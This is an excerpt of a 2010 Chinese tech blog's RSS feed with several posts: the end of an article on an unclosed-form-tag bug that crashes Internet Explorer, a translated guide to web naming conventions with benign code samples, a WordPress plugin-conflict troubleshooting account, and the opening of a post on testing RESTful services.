<p>当然，如果你细心的话，会发现上面的HTML代码中<code>&lt;form&gt;</code>标签没有闭合。我们需要在<code>&lt;input&gt;</code>标签后使用<code>&lt;/form&gt;</code>闭合标签才能让这段代码符合规范。规范的代码就不会让IE崩溃了，这样看来似乎并不是IE的错。</p>
<p>但是，<strong>当其他浏览器都能有很高的容错性时，IE没有，甚至到了IE9还是没有，这就是IE的悲剧了。</strong></p>
<p><strong><br />
</strong></p>
<blockquote><p>编译自How-to Geek: <a title="How to Crash Any Version of Internet Explorer with Simple HTML" href="http://www.howtogeek.com/howto/33394/how-to-crash-any-version-of-internet-explorer-with-simple-html/" target="_blank">How to Crash Any Version of Internet Explorer with Simple HTML </a></p></blockquote>


<h3>延伸阅读：</h3><ol><li><a href='http://dayanjia.com/2010/06/a-rambling-talk-about-file-sync-and-cloud-storage.html' rel='bookmark' title='Permanent Link: 从文件同步服务说开去'>从文件同步服务说开去</a></li>
</ol>]]></content:encoded>
			<wfw:commentRss>http://dayanjia.com/2010/10/how-to-crash-any-version-of-internet-explorer-with-simple-html.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Web开发中初学者容易混淆的9个命名约定</title>
		<link>http://dayanjia.com/2010/10/9-confusing-naming-conventions-for-beginners-in-web-programming.html</link>
		<comments>http://dayanjia.com/2010/10/9-confusing-naming-conventions-for-beginners-in-web-programming.html#comments</comments>
		<pubDate>Tue, 26 Oct 2010 01:09:13 +0000</pubDate>
		<dc:creator>大眼夹</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Web开发]]></category>
		<category><![CDATA[心得]]></category>
		<category><![CDATA[翻译]]></category>

		<guid isPermaLink="false">http://dayanjia.com/?p=1059</guid>
		<description><![CDATA[<div><img width="580" height="300" src="http://dayanjia.com/wp-content/uploads/2010/10/1024px-Pentomino_Naming_Conventions.svg_-580x300.png" class="attachment-large wp-post-image" alt="1024px-Pentomino_Naming_Conventions.svg" title="1024px-Pentomino_Naming_Conventions.svg" /></div>当人们一开始接触各种Web开发语言时，总会发现彻底搞懂不同语言的命名约定是一件很要命的事情。而且当开发者在争论什么才是最佳实践时，事情会变得更加让人困惑。为了让初学者更容易地在不同语言中过渡，这篇文章列出了一些常见的约定。 1. 类属性名前加下划线 如果你看到一个变量或者方法是以_开头的，其实这并不代表其幕后有什么猫腻。这仅仅是为了提醒开发者这个变量/属性/方法是私有的（private）或是受保护的（protected），它们不能从类的外部访问到。 PHP方式 JavaScript方式 这里的Female并不是一个方法，但它返回一个对象（译注：这个例子很幽默）。这样，下划线前缀就可以提醒我们哪些是私有的。 2. 大写常量名 常量（Constant）代表了一个不会改变的静态值。例如，假设一个项目中需要一个税率值.0825，它便是一个常量。然而，并非所有语言都支持这种类型。因此，最好的做法是全部使用大写字母来提醒自己这是个常量。在JavaScript中，语言内建的对象都是采用这种约定，例如MATH.PI。 JavaScript方式 PHP方式 3. 单字母前缀 你一定在某些场合见过变量名是以一个单独字母开头的，例如“s”或者“i”。 这被称作“匈牙利命名法”，事实上在近几年并不流行。不过在许多公司内这仍是一条约定。 匈牙利命名法能够提醒开发者它正在使用的变量是什么类型的：string，integer等。 尤其在JavaScript中，这种方法是不可取的，因为JavaScript是弱类型的语言。弱类型语言不需要在使用变量前声明它的类型。如果我们给一个字符串以“s”开头命名，但是后来我们把一个整数赋值给它，这种命名法还有什么意义呢？事实上，这种形式的命名法会妨碍我们的工作，而不是对工作有益。 美元符号 致jQuery使用者：当你使用工厂函数生成对象并且心里暗喜没有受到匈牙利命名法的束缚时，你是否会在变量名前加一个美元符号？如果是这样，那么这也是匈牙利命名法的一种形式。这个符号的唯一目的是提醒你这个变量的类型。 应当这么使用吗？ 这完全取决于你自己。事实上许多jQuery团队的成员也使用这种美元符号前缀。使用它的最终目的是能够适应你的工作。以我而言，几年前我就不使用这种美元符号了——这仅仅是因为我个人觉得这没有必要。你可以自己决定如何对待它。 4. 首字母大写 下面这个首字母大写的变量名看上去如何？ 在上面的代码中，$SomeClass写成了单词首字母大写的形式是因为它是一个类的对象而不是普通的变量名。通常这是绝大多数开发者使用的方法。当我们一年后再回过头来看这些代码时，这个简单的形式就能准确地告诉我们这是一个对象，可以调用其方法。 JavaScript方式 在JavaScript中，没有真正的类，但是有构造（constructor）函数。 我们将构造器（Person）的首字母大写的原因是我们有时候很容易忘记new关键词。在这种情况下，JavaScript往往不会抛出任何警告，但是这个小错误却非常难调试到。首字母大写能够给开发者在debug时一个有效的提示。Douglas Crockford是这个约定最大的提倡者。（译注：Douglas Crockford是Javascript社区的大神级人物，是JSON、JSLint、JSMin和ADSafe之父，是《JavaScript：The Good Parts》的作者。） 另一种可选方案是，如果你生怕自己的健忘，你可以在执行前首先确保构造器存在并且正确。 5. 驼峰式和下划线式 为什么有些变量使用驼峰式大小写模式，而有些是使用下划线分割单词呢？哪一种是正确的方法？答案是：没有绝对正确的用法。这完全去取决于你的语言，或者你公司的代码约定。这两种都是非常好的方式。 正如大家所说，跟随你使用的语言的通常约定是一项最佳实践。例如，大量JavaScript开发者使用驼峰式的语法，而像PHP则更倾向于使用下划线分割。需要重申的是，这不是板上钉钉的规矩。Zend框架就是驼峰式大小写的推动者。 比你使用什么更重要的是确保你一直去使用它！ 6. 目录结构 通常在团队中工作时，你必须和你的协同开发者一起接受一个合适的目录结构。最基本的显然是不要把所有的样式表、脚本都放到项目的根目录下，这显得非常无组织无纪律。许多开发者愿意将它们的图像、脚本和样式表放到一个Assets目录下。 此外，记住一项创建min目录的约定规则。这里面动态地存放着压缩后的脚本和样式表文件。 7. 语义 当使用标记语言时，需要明白你选择的id和class需要能够描述你的内容，而不是仅仅代表形式。例如： 最悲剧的 稍好一些 最佳做法 怎么样？如果在六个月以后，你决定把Justin Bieber粉丝的内容放到中间偏右并稍低一些（middle-RIGHT-and-then-a-little-lower）的位置呢？这样，你的iid就完全失去了意义。 我们正在向HTML5的世界过渡，你应当在元素中使用尽量少的标识。id显得很不灵活，而且很多情况下并不需要。 8. 写两遍Header和Footer 当做一个居中的网站时，需要将多重背景扩展到整个窗口的宽度（通常是header和footer），是非常令人讨厌的。你通常需要包裹你的内容，这样外层元素扩展后，内层元素还能继续保持居中。 ...

<h3>延伸阅读：</h3><ol><li><a href='http://dayanjia.com/2010/02/crack-php-file-encoded-with-base64.html' rel='bookmark' title='Permanent Link: 破解Base64多重加密的PHP脚本'>破解Base64多重加密的PHP脚本</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div><img width="580" height="300" src="http://dayanjia.com/wp-content/uploads/2010/10/1024px-Pentomino_Naming_Conventions.svg_-580x300.png" class="attachment-large wp-post-image" alt="1024px-Pentomino_Naming_Conventions.svg" title="1024px-Pentomino_Naming_Conventions.svg" /></div><p>当人们一开始接触各种Web开发语言时，总会发现彻底搞懂不同语言的命名约定是一件很要命的事情。而且当开发者在争论什么才是最佳实践时，事情会变得更加让人困惑。为了让初学者更容易地在不同语言中过渡，这篇文章列出了一些常见的约定。</p>
<p><span id="more-1059"></span></p>
<h2>1. 类属性名前加下划线</h2>
<p>如果你看到一个变量或者方法是以_开头的，其实这并不代表其幕后有什么猫腻。这仅仅是为了提醒开发者这个变量/属性/方法是私有的（<code>private</code>）或是受保护的（<code>protected</code>），它们不能从类的外部访问到。</p>
<h4>PHP方式</h4>
<pre class="brush: php; title: ; notranslate">class MyClass {
   // 这个实例变量在类外部无法访问
   private $_someVariable;

   // 这个方法仅在类内部或者其它继承它的类中可用
   protected function __behindTheScenesMethod() {}
}</pre>
<h4>JavaScript方式</h4>
<pre class="brush: jscript; title: ; notranslate">var Female = (function() {
   var _trueAge = 50,
        _trueWeight = 140;

   return {
      age : _trueAge - 15,
      weight : _trueWeight - 30
   };
})();

Female.age; // 35
Female.weight; // 110
Female._trueAge; // 未定义（因为它是私有的，嘿嘿）</pre>
<p>这里的Female并不是一个方法，但它返回一个对象（译注：这个例子很幽默）。这样，下划线前缀就可以提醒我们哪些是私有的。</p>
<h2>2. 大写常量名</h2>
<p>常量（<code>Constant</code>）代表了一个不会改变的静态值。例如，假设一个项目中需要一个税率值.0825，它便是一个常量。然而，并非所有语言都支持这种类型。因此，最好的做法是全部使用大写字母来提醒自己这是个常量。在JavaScript中，语言内建的对象都是采用这种约定，例如<code>MATH.PI</code>。</p>
<h4>JavaScript方式</h4>
<pre class="brush: jscript; title: ; notranslate">var TAXRATE = .0825;</pre>
<h4>PHP方式</h4>
<pre class="brush: php; title: ; notranslate">define('TAXRATE', .0825);</pre>
<h2>3. 单字母前缀</h2>
<p>你一定在某些场合见过变量名是以一个单独字母开头的，例如“s”或者“i”。</p>
<pre class="brush: php; title: ; notranslate">$sName = 'Captain Jack Sparrow'; //译注：Jack Sparrow《加勒比海盗》中的船长角色</pre>
<p>这被称作“匈牙利命名法”，事实上在近几年并不流行。不过在许多公司内这仍是一条约定。</p>
<blockquote><p>匈牙利命名法能够提醒开发者它正在使用的变量是什么类型的：<code>string</code>，<code>integer</code>等。</p></blockquote>
<p>尤其在JavaScript中，这种方法是不可取的，因为JavaScript是弱类型的语言。弱类型语言不需要在使用变量前声明它的类型。如果我们给一个字符串以“s”开头命名，但是后来我们把一个整数赋值给它，这种命名法还有什么意义呢？事实上，这种形式的命名法会妨碍我们的工作，而不是对工作有益。</p>
<pre class="brush: jscript; title: ; notranslate">var sName = &quot;Lieutenant Commander Geordi La Forge&quot;; // 译注：Geordi La Forge 少校是《星际迷航：下一代》中的角色，天生眼盲，佩戴高科技护目镜
typeof(sName); // string
....
sName = undefined;
typeof(sName) // undefined</pre>
<h3>美元符号</h3>
<p>致jQuery使用者：当你使用工厂函数生成对象并且心里暗喜没有受到匈牙利命名法的束缚时，你是否会在变量名前加一个美元符号？如果是这样，那么这也是匈牙利命名法的一种形式。这个符号的唯一目的是提醒你这个变量的类型。</p>
<pre class="brush: jscript; title: ; notranslate">// 这个美元符号提醒我可它可以使用jQuery的各种方法
var $container = $('#container');
</pre>
<h4>应当这么使用吗？</h4>
<p>这完全取决于你自己。事实上许多jQuery团队的成员也使用这种美元符号前缀。使用它的最终目的是能够适应你的工作。以我而言，几年前我就不使用这种美元符号了——这仅仅是因为我个人觉得这没有必要。你可以自己决定如何对待它。</p>
<h2>4. 首字母大写</h2>
<p>下面这个首字母大写的变量名看上去如何？</p>
<pre class="brush: php; title: ; notranslate">$response = $SomeClass-&gt;doSomething();</pre>
<p>在上面的代码中，$SomeClass写成了单词首字母大写的形式是因为它是一个类的对象而不是普通的变量名。通常这是绝大多数开发者使用的方法。当我们一年后再回过头来看这些代码时，这个简单的形式就能准确地告诉我们这是一个对象，可以调用其方法。</p>
<pre class="brush: php; title: ; notranslate">// 注意类名中大写的M
class MyClass {
   function __construct() {}
}</pre>
<h3>JavaScript方式</h3>
<p>在JavaScript中，没有真正的类，但是有构造（<code>constructor</code>）函数。</p>
<pre class="brush: jscript; title: ; notranslate">var Jeff = new Person();</pre>
<p>我们将构造器（<code>Person</code>）的首字母大写的原因是我们有时候很容易忘记new关键词。在这种情况下，JavaScript往往不会抛出任何警告，但是这个小错误却非常难调试到。首字母大写能够给开发者在debug时一个有效的提示。Douglas Crockford是这个约定最大的提倡者。（译注：Douglas Crockford是Javascript社区的大神级人物，是<a href="http://www.json.org/json-zh.html">JSON</a>、<a href="http://www.jslint.com/">JSLint</a>、<a href="http://www.crockford.com/javascript/jsmin.html">JSMin</a>和<a href="http://www.adsafe.org/">ADSafe</a>之父，是《<a title="JavaScript: the good parts" href="http://books.google.com/books?id=PXa2bby0oQ0C&amp;printsec=frontcover&amp;hl=zh-CN&amp;source=gbs_ge_summary_r&amp;cad=0#v=onepage&amp;q&amp;f=false" target="_blank">JavaScript：The Good Parts</a>》的作者。）</p>
<p>另一种可选方案是，如果你生怕自己的健忘，你可以在执行前首先确保构造器存在并且正确。</p>
<pre class="brush: jscript; title: ; notranslate">function Person(name) {
  // 如果遗漏了new关键词，将会执行下面的构造函数并返回一个新的实例
  if ( this.constructor !== Person ) {
    return new Person(name);
  }
 this.name = name;
}

// 故意不用“new”关键词
var Joey = Person('Joey');
Joey.name; // Joey
</pre>
<h2>5. 驼峰式和下划线式</h2>
<p>为什么有些变量使用驼峰式大小写模式，而有些是使用下划线分割单词呢？哪一种是正确的方法？答案是：没有绝对正确的用法。这完全去取决于你的语言，或者你公司的代码约定。这两种都是非常好的方式。</p>
<pre class="brush: jscript; title: ; notranslate">// camelCase
var preacherOfSockChanging = 'Lieutenant Dan'; // 译注：Dan中尉，电影《阿甘正传》中的人物

// under_score
var preacher_of_sock_changing = 'Lieutenant Dan';</pre>
<p>正如大家所说，跟随你使用的语言的通常约定是一项最佳实践。例如，大量JavaScript开发者使用驼峰式的语法，而像PHP则更倾向于使用下划线分割。需要重申的是，这不是板上钉钉的规矩。Zend框架就是驼峰式大小写的推动者。</p>
<blockquote><p>比你使用什么更重要的是确保你一直去使用它！</p></blockquote>
<h2>6. 目录结构</h2>
<p>通常在团队中工作时，你必须和你的协同开发者一起接受一个合适的目录结构。最基本的显然是不要把所有的样式表、脚本都放到项目的根目录下，这显得非常无组织无纪律。许多开发者愿意将它们的图像、脚本和样式表放到一个<code>Assets</code>目录下。</p>
<pre class="brush: plain; title: ; notranslate">/ Project Root
  /Assets
    / js
      / min
        script_min.js
      script.js
    / css
      / min
        style_min.css
      style.css
    / img
      img1.jpg
  index.html
  otherFile.html</pre>
<p>此外，记住一项创建<code>min</code>目录的约定规则。这里面动态地存放着压缩后的脚本和样式表文件。</p>
<h2>7. 语义</h2>
<p>当使用标记语言时，需要明白你选择的<code>id</code>和<code>class</code>需要能够描述你的内容，而不是仅仅代表形式。例如：</p>
<h4>最悲剧的</h4>
<pre class="brush: xml; title: ; notranslate">&lt;div id=&quot;middle-left-and-then-a-little-lower&quot;&gt; Justin Bieber is my homeboy section. &lt;/div&gt;</pre>
<h4>稍好一些</h4>
<pre class="brush: xml; title: ; notranslate">&lt;div class=&quot;section&quot;&gt; Justin Bieber is my homeboy section. &lt;/div&gt;</pre>
<h4>最佳做法</h4>
<pre class="brush: xml; title: ; notranslate">&lt;section&gt; Justin Bieber is my homeboy section. &lt;/section&gt;  </pre>
<p>怎么样？如果在六个月以后，你决定把Justin Bieber粉丝的内容放到中间偏右并稍低一些（middle-RIGHT-and-then-a-little-lower）的位置呢？这样，你的i<code>id</code>就完全失去了意义。</p>
<blockquote><p>我们正在向HTML5的世界过渡，你应当在元素中使用尽量少的标识。<code>id</code>显得很不灵活，而且很多情况下并不需要。</p></blockquote>
<h2>8. 写两遍<code>Header</code>和<code>Footer</code></h2>
<p>当做一个居中的网站时，需要将多重背景扩展到整个窗口的宽度（通常是<code>header</code>和<code>footer</code>），是非常令人讨厌的。你通常需要包裹你的内容，这样外层元素扩展后，内层元素还能继续保持居中。</p>
<p>这是一个一般性的问题，在创建必需的标记语言内容时接受这样的约定规则是很重要的。</p>
<pre class="brush: xml; title: ; notranslate">&lt;div id=&quot;footer-wrap&quot;&gt;
	&lt;footer&gt;
	  My footer content goes here.
	&lt;/footer&gt;
&lt;/div&gt;</pre>
<p>难以决定的是，假设你在使用HTML5中的新元素，你需要决定将<code>footer</code>标签放在里面还是外面。这个还有待讨论。然而我个人觉得将<code>footer</code>放在内层更加语义化。</p>
<p><code>div</code>只限下面的情况时才使用：</p>
<ul>
<li>没有更好的元素来使用了</li>
<li>你需要一个单纯的表示布局结构的元素</li>
</ul>
<h2>9. 简写</h2>
<p>现在就决定是否允许在你的代码中使用简写。书写精确且整洁的代码总是一场可读性和代码长度的斗争。这也正是开发团队内使用相同代码风格是首要考虑规则的原因。来看两个简单的例子：</p>
<h4>三目运算符合适吗？</h4>
<pre class="brush: jscript; title: ; notranslate">var name = 'Joe';

// regular
if ( name === 'Jeff' ) {
  alert(&quot;That's me&quot;);
} else {
  alert(&quot;Nope&quot;);
}

// ternary
alert(name === &quot;Jeff&quot; ? &quot;That's me&quot; : &quot;Nope&quot;); // Nope</pre>
<h4>使用逻辑<code>&amp;&amp;</code>来写简短的条件判断句？</h4>
<pre class="brush: jscript; title: ; notranslate">var getTweets = true;

// regular
if ( getTweets ) {
 alert('getting them now');
}

// 逻辑 AND
// 除非左边是“true”否则右边不会运行
getTweets &amp;&amp; alert('Getting them now');</pre>
<p>许多开发者都对如此使用AND感到不爽，坚持认为这影响了可读性。尽管这的确是是一个有力的观点，但是连流行的框架类库例如jQuery也大量使用了这种方法。</p>
<h2>结论</h2>
<p>再次重申，你在开发时坚持使用某种方式比选择什么样的的约定来的更加重要。事实上，许多开发团队都有自己专门的代码风格指导给新开发者参考。感谢阅读！</p>
<blockquote><p>译注：关于变量命名更详细的约定规则介绍，大家可以阅读《代码大全》（第2版）的第11章。</p>
<p>原文：<a title="9 Confusing Naming Conventions for Beginners" href="http://net.tutsplus.com/articles/general/9-confusing-naming-conventions-for-beginners/" target="_blank">9 Confusing Naming Conventions for Beginners</a><br />
作者：<a title="Jeffrey Way" href="http://net.tutsplus.com/author/jeffreyway/">Jeffrey Way</a></p></blockquote>


<h3>延伸阅读：</h3><ol><li><a href='http://dayanjia.com/2010/02/crack-php-file-encoded-with-base64.html' rel='bookmark' title='Permanent Link: 破解Base64多重加密的PHP脚本'>破解Base64多重加密的PHP脚本</a></li>
</ol>]]></content:encoded>
			<wfw:commentRss>http://dayanjia.com/2010/10/9-confusing-naming-conventions-for-beginners-in-web-programming.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>有些WordPress插件，你伤不起……</title>
		<link>http://dayanjia.com/2010/10/wordpress-plugin-conflict.html</link>
		<comments>http://dayanjia.com/2010/10/wordpress-plugin-conflict.html#comments</comments>
		<pubDate>Sun, 17 Oct 2010 09:17:40 +0000</pubDate>
		<dc:creator>大眼夹</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[故障处理]]></category>

		<guid isPermaLink="false">http://dayanjia.com/?p=1054</guid>
		<description><![CDATA[<div><img width="580" height="311" src="http://dayanjia.com/wp-content/uploads/2010/10/gravatar-wall-580x311.png" class="attachment-large wp-post-image" alt="gravatar wall" title="gravatar wall" /></div>熟悉Wordpress的朋友都知道Gravatar，这是一个号称“全球通用头像”的服务。用户只需要在Gravatar网站上用E-mail注册后上传一个头像，今后在支持这项服务的网站上就可以直接根据那个E-mail获取自己的头像，无需在其他网站再次上传图片。Wordpress内置了对Gravatar的支持，许多国外的网站和开源建站程序例如Drupal都可以集成这项功能，就连国内的Discuz!也有Gravatar的插件。但是令人不解的是，Gravatar于日前荣获国家级防火墙金牌认证，这使得无数Wordpress中的用户头像变成了一个个小红叉，看了颇不舒服。为此，有人专门制作了网站服务器中转Gravatar头像的插件。为了使自己博客的页面显得更加完美，我义无反顾地安装了它，于是，悲剧就这样开始了…… 悲剧的开始：WP Gravatar Mini Cache 看到网上有朋友写了这个Gravatar缓存的插件，于是便下载安装，激活后便没有多管。没想到过了一会儿打开我的博客，居然打不开了，ping一下也是很高的延迟，还会有丢包。这时我的第一感觉是，VPS的线路又抽风了。但是当我多次刷新页面后，居然给了我一个HTTP 500错误，于是立马感觉事情没这么简单。 用SSH登录到VPS，我先用uptime看了下系统负载，乖乖，居然1min、5min、15min的平均负载达到了两位数，不卡才怪啊！于是又用free -m看看内存，512MB的内存基本全部被吃掉了，交换区也用掉了将近五分之一。这到底是神马情况？ 事实上，我一开始并没有想到是这个插件的原因，我想，不如先重启一下VPS试试看吧。重启以后情况依旧，看了看占用CPU资源和内存的几个进程，无一例外都是各种php-cgi。这个时候我才想起来去看Apache的日志。赶紧去/var/log/httpd去看access_log和error_log。access_log里面全是“"OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.2.3 (CentOS) (internal dummy connection)"”这句话，不知道什么意思。于是又去看error_log，那里面基本上是三行报告内容的重复： 各种进程僵尸……这就让我更加摸不着头脑了……完全不可捉摸的错误报告啊……这时候我猛然想起那个插件，到插件目录下删掉它，再看系统负载，果然恢复正常了，网页也可以正常打开了。 插件连锁反应 这件事本来就这么结束了，但是文章开始提到的Gravatar头像无法显示的问题还是没有解决啊。看了看那个引起问题的插件的代码，短短十几行，在get_avatar()上加了一个Hook而已，怎么会造成这么严重的问题呢？于是到网上Google，找到另一个方法，按照作者的方法，在主题函数中新加一个my_avatar，然后把get_avatar全部换成my_avatar，避免增加Hook。按照此方法一试，果然在日志的评论页面能够正常显示头像了。 但是事情还没有结束。我在侧边栏上使用了一个WP-RecentComments插件，那里面也会显示头像。于是我去编辑插件的源码，也按照上面的方法替换了get_avatar函数。于是当我再一次刷新的时候……悲剧又重现了！ 难道罪魁祸首是WP-RecentComments这个显示最新评论的插件？这个时候我又想到，我还安装了W3 Total Cache这个缓存插件，把缓存插件禁用后，居然又可以正常打开首页和日志页了！这还真是扑朔迷离啊……事实上，能够引起整站HTTP 500错误的，估计也有这样的缓存插件能干的出来。 我禁用了这个缓存插件，还原了WP-RecentComments代码，又重新安装了Gravatar Mini Cache。打开网站，一切正常！接着我又去重新启用W3 Total Cache并重新进行了配置。终于现在它们能够相安无事了……头像也能正常显示了…… 结论 总结一下，这次的事件由三个插件连锁反应产生。由于Gravatar Mini Cache给get_avatar()加了一个Hook，WP-RecentComments在调用头像时就会激活Gravatar Mini Cache的函数，然后W3 Total Cache过来不知怎么的掺和一下，就整站挂掉了。似乎是处理顺序的问题导致php脚本陷入了一个死循环，可以看到VPS上的php进程不断地开启，变成僵尸，然后挂掉…… WordPress以插件众多，功能丰富著称，但是对于那些喜欢闹脾气的Wordpress插件，你真的伤不起…… 延伸阅读：谁偷走了我的流量？

<h3>延伸阅读：</h3><ol><li><a href='http://dayanjia.com/2010/03/who-stole-my-bandwidth.html' rel='bookmark' title='Permanent Link: 谁偷走了我的流量？'>谁偷走了我的流量？</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div><img width="580" height="311" src="http://dayanjia.com/wp-content/uploads/2010/10/gravatar-wall-580x311.png" class="attachment-large wp-post-image" alt="gravatar wall" title="gravatar wall" /></div><p>熟悉Wordpress的朋友都知道Gravatar，这是一个号称“全球通用头像”的服务。用户只需要在Gravatar网站上用E-mail注册后上传一个头像，今后在支持这项服务的网站上就可以直接根据那个E-mail获取自己的头像，无需在其他网站再次上传图片。Wordpress内置了对Gravatar的支持，许多国外的网站和开源建站程序例如<a title="Drupal" href="http://drupal.org/" target="_blank">Drupal</a>都可以集成这项功能，就连国内的Discuz!也有Gravatar的插件。但是令人不解的是，Gravatar于日前荣获国家级防火墙金牌认证，这使得无数Wordpress中的用户头像变成了一个个小红叉，看了颇不舒服。为此，有人专门制作了网站服务器中转Gravatar头像的插件。为了使自己博客的页面显得更加完美，我义无反顾地安装了它，于是，悲剧就这样开始了……</p>
<p><span id="more-1054"></span></p>
<h2>悲剧的开始：WP Gravatar Mini Cache</h2>
<p>看到网上有朋友写了这个<a title="WP插件Gravatar-Mini-Cache" href="http://www.evlos.org/2010/01/25/my-first-plugin-mini_gravatar_cache/" target="_blank">Gravatar缓存的插件</a>，于是便下载安装，激活后便没有多管。没想到过了一会儿打开我的博客，居然打不开了，ping一下也是很高的延迟，还会有丢包。这时我的第一感觉是，VPS的线路又抽风了。但是当我多次刷新页面后，居然给了我一个HTTP 500错误，于是立马感觉事情没这么简单。</p>
<p>用SSH登录到VPS，我先用<code>uptime</code>看了下系统负载，乖乖，居然1min、5min、15min的平均负载达到了两位数，不卡才怪啊！于是又用<code>free -m</code>看看内存，512MB的内存基本全部被吃掉了，交换区也用掉了将近五分之一。这到底是神马情况？</p>
<p>事实上，我一开始并没有想到是这个插件的原因，我想，不如先重启一下VPS试试看吧。重启以后情况依旧，看了看占用CPU资源和内存的几个进程，无一例外都是各种php-cgi。这个时候我才想起来去看Apache的日志。赶紧去<code>/var/log/httpd</code>去看<code>access_log</code>和<code>error_log</code>。<code>access_log</code>里面全是“<code>"OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.2.3 (CentOS) (internal dummy connection)"</code>”这句话，不知道什么意思。于是又去看<code>error_log</code>，那里面基本上是三行报告内容的重复：</p>
<pre class="brush: plain; light: true; title: ; notranslate">[Sun Oct 17 14:32:52 2010] [warn] mod_fcgid: process 8078 graceful kill fail, sending SIGKILL
[Sun Oct 17 14:32:58 2010] [notice] mod_fcgid: call /home/dayanjia/public_html/index.php with wrapper /home/dayanjia/fcgi-bin/php5.fcgi
[Sun Oct 17 14:32:58 2010] [notice] mod_fcgid: process /home/dayanjia/public_html/index.php(8058) exit(communication error), get stop signal 9</pre>
<p>各种进程僵尸……这就让我更加摸不着头脑了……完全不可捉摸的错误报告啊……这时候我猛然想起那个插件，到插件目录下删掉它，再看系统负载，果然恢复正常了，网页也可以正常打开了。</p>
<h2>插件连锁反应</h2>
<p>这件事本来就这么结束了，但是文章开始提到的Gravatar头像无法显示的问题还是没有解决啊。看了看那个引起问题的插件的代码，短短十几行，在<code>get_avatar()</code>上加了一个Hook而已，怎么会造成这么严重的问题呢？于是到网上Google，找到<a title="新版 Gravatar 緩存" href="http://kan.willin.org/?p=1320" target="_blank">另一个方法</a>，按照作者的方法，在主题函数中新加一个<code>my_avatar</code>，然后把<code>get_avatar</code>全部换成<code>my_avatar</code>，避免增加Hook。按照此方法一试，果然在日志的评论页面能够正常显示头像了。</p>
<p>但是事情还没有结束。我在侧边栏上使用了一个<a title="最新评论插件 WP-RecentComments" href="http://www.neoease.com/wp-recentcomments/" target="_blank">WP-RecentComments</a>插件，那里面也会显示头像。于是我去编辑插件的源码，也按照上面的方法替换了get_avatar函数。于是当我再一次刷新的时候……悲剧又重现了！</p>
<p>难道罪魁祸首是WP-RecentComments这个显示最新评论的插件？这个时候我又想到，我还安装了<a href="http://www.linkedin.com/in/w3edge" target="_blank">W3 Total Cache</a>这个缓存插件，把缓存插件禁用后，居然又可以正常打开首页和日志页了！这还真是扑朔迷离啊……事实上，能够引起整站HTTP 500错误的，估计也有这样的缓存插件能干的出来。</p>
<p>我禁用了这个缓存插件，还原了WP-RecentComments代码，又重新安装了Gravatar Mini Cache。打开网站，一切正常！接着我又去重新启用W3 Total Cache并重新进行了配置。终于现在它们能够相安无事了……头像也能正常显示了……</p>
<h2>结论</h2>
<p>总结一下，这次的事件由三个插件连锁反应产生。由于Gravatar Mini Cache给<code>get_avatar()</code>加了一个Hook，WP-RecentComments在调用头像时就会激活Gravatar Mini Cache的函数，然后W3 Total Cache过来不知怎么的掺和一下，就整站挂掉了。似乎是处理顺序的问题导致php脚本陷入了一个死循环，可以看到VPS上的php进程不断地开启，变成僵尸，然后挂掉……</p>
<p>WordPress以插件众多，功能丰富著称，但是对于那些喜欢闹脾气的Wordpress插件，你真的伤不起……</p>


<h3>延伸阅读：</h3><ol><li><a href='http://dayanjia.com/2010/03/who-stole-my-bandwidth.html' rel='bookmark' title='Permanent Link: 谁偷走了我的流量？'>谁偷走了我的流量？</a></li>
</ol>]]></content:encoded>
			<wfw:commentRss>http://dayanjia.com/2010/10/wordpress-plugin-conflict.html/feed</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>测试RESTful Web Services的三种方法</title>
		<link>http://dayanjia.com/2010/08/3-ways-to-test-restful-web-services.html</link>
		<comments>http://dayanjia.com/2010/08/3-ways-to-test-restful-web-services.html#comments</comments>
		<pubDate>Fri, 13 Aug 2010 03:00:46 +0000</pubDate>
		<dc:creator>大眼夹</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Web开发]]></category>
		<category><![CDATA[资料]]></category>

		<guid isPermaLink="false">http://dayanjia.com/?p=769</guid>
		<description><![CDATA[<div><img width="495" height="565" src="http://dayanjia.com/wp-content/uploads/2010/08/restful-web-services-e1281628481131.jpg" class="attachment-large wp-post-image" alt="restful-web-services" title="restful-web-services" /></div>如今网站搞个开放API，弄个RESTful Web Services似乎早不是新鲜事了。尤其在Twitter、Facebook、Google等先行者的推动下，获取其他网站的资源并进行Mashup变得越来越普遍。如今在SNS大行其道的日子里，你不搞个“推荐该内容到人人网/开心网/新浪微博”这样的链接，你都不好意思出去见人说“我是做网站的”。 就连我院的线上教学支持系统都打算分离出核心数据（即学生和课程的信息），通过REST风格的Web服务来提供这些中心数据，支持其他功能（例如课程论坛、作业发布和提交等）的实现。这样做的好处自然是分离的数据可以再提供给今后更多的服务使用，比起传统的全部使用本地数据库的方法减少了冗余和错误的产生。而其缺点在于加大了开发难度，以前可以很轻松的诸如数据表中外键的功能全部得从第三方资源实现，一定程度上降低了网站的运行效率。同时，进行REST的开发和测试也变得不那么直接了。虽然各种语言都有HTTP请求相关的类库，但是本着不重复发明轮子的精神，本文介绍了几种方便的测试RESTful Web Services的工具。 REST简单介绍 所谓REST，是Representational State Transfer，这个词汇的中文翻译很不统一，而且很晦涩，有叫“具象状态传输”，有叫“表象化状态转变”，等等。通俗地讲，REST风格的Web服务，是通过一个简洁清晰的URI来提供资源链接，客户端通过对URI发送HTTP请求获得这些资源，而获取和处理资源的过程让客户端应用的状态发生改变（不像那些远程过程调用那么直接地发生改变）。一般常用的对资源进行CRUD（Create, Read, Update 和 Delete）的四种HTTP方法分别是POST, GET, PUT, DELETE。一般的Web浏览器基本只会用到GET和POST两种方法，但是根据RFC 2616，HTTP请求方法除了前面提到的四种还有OPTIONS, HEAD, TRACE, CONNECT，一共8种。 REST源于Roy Fielding在2000年的博士论文，而关于RESTful Web服务最著名的书便是本文题图的《RESTful Web Services》。顺便提一句，我只是说说而已，这两个东西我都没看过，估计看了也看不懂。 RESTful Web Services测试工具推荐 